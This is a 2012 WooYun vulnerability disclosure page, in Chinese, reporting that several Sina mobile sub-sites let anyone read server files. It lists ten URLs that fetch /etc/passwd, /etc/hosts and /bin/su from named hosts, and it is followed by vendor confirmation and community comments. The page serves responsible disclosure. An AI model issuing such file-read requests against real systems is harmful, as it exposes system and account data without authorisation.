当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-04319

漏洞标题：多个新浪分站任意读文件

相关厂商：新浪

漏洞作者： 阿门

提交时间：2012-02-08 13:46

修复时间：2012-03-24 13:46

公开时间：2012-03-24 13:46

漏洞类型：网络设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-02-08： 细节已通知厂商并且等待厂商处理中
2012-02-08： 厂商已经确认，细节仅向厂商公开
2012-02-18： 细节向核心白帽子及相关领域专家公开
2012-02-28： 细节向普通白帽子公开
2012-03-09： 细节向实习白帽子公开
2012-03-24： 细节向公众公开

简要描述：

你们送的礼物已经收到啦，今天又发现了你们的漏洞，以apache用户权限读取所有文件内容。同服务器的一共好几个站都是一样的。你们再查查。

详细说明：

http://ast.sina.cn/etc/passwd
http://eladies.sina.cn/etc/passwd
http://joke.sina.cn/etc/passwd
http://mil.sina.cn/etc/passwd
http://movie.sina.cn/etc/issue
http://nba.sina.cn/bin/su
http://qiwen.sina.cn/etc/passwd
http://tech.sina.cn/etc/passwd
http://video.sina.cn/etc/hosts
http://wb.sina.cn/etc/passwd

漏洞证明：

修复方案：

你们懂的

版权声明：转载请注明来源 阿门@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2012-02-08 14:09

厂商回复：

感谢提交

最新状态：

暂无

漏洞评价：

评论

  1. 2012-02-08 14:56 | 凤凰 ( 路人 | Rank:15 漏洞数:6 | 涅磐)

    前排流氓，围观大牛。。。

  2. 2012-02-08 15:12 | stone ( 路人 | Rank:7 漏洞数:2 | ##)

    官方报道：国内著名门户网站新浪联合中华人民共和国公安部网监科开展打黑扫黑，惩治网络犯罪专项行动。据有关人士透露，目前已掌握大量疑似有前科＂白帽子＂的具体地址，近期将联合各地警方准备抓捕严打。昨天群里看到的一条消息。求解释，最近新浪也给提供给新浪漏洞的白帽子寄礼物

  3. 2012-02-08 16:37 | 路人乙 ( 普通白帽子 | Rank:147 漏洞数:29 | 中国移动不厚道，说给礼品也不给！)

    最起码新浪还是真的发礼品的，TMD淘宝和移动是借着发礼品的名义要了地址不发礼品，ZTMLGBD

  4. 2012-02-10 00:16 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    不是吧。吓人

  5. 2012-03-01 12:37 | 新浪(乌云厂商)

    新浪安全技术团队（微博昵称：新浪安全）：小小礼品只是我们向各位白帽对提高新浪整体安全水平所付出的努力一个表达感谢的方式。烦请各位白帽子放心，新浪会严格保护用户隐私。

  6. 2012-03-01 12:46 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @新浪 顶上去,官方澄清

  7. 2012-03-01 15:29 | 凤凰 ( 路人 | Rank:15 漏洞数:6 | 涅磐)

    @xsser 提醒：目前漏洞有限制开放中，你的 Rank 级别不够。请问rank可以是“核心白帽子及相关领域专家”？谢谢

  8. 2012-03-01 17:51 | 新浪(乌云厂商)

    @stone 放心，完全没有新浪联合网监科开展打黑扫黑的事，新浪绝对不会透漏白帽子的信息

  9. 2012-03-01 18:10 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @新浪 白帽子也不是黑啊 这哪里跟哪里

  10. 2012-03-09 16:52 | Vi0lent ( 普通白帽子 | Rank:131 漏洞数:14 | hello~)

    @新浪 我写的高富帅收 到目前没消息...

  11. 2012-03-24 13:58 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @Vi0lent 这是必然啊 写屌丝收，可能好点 =。=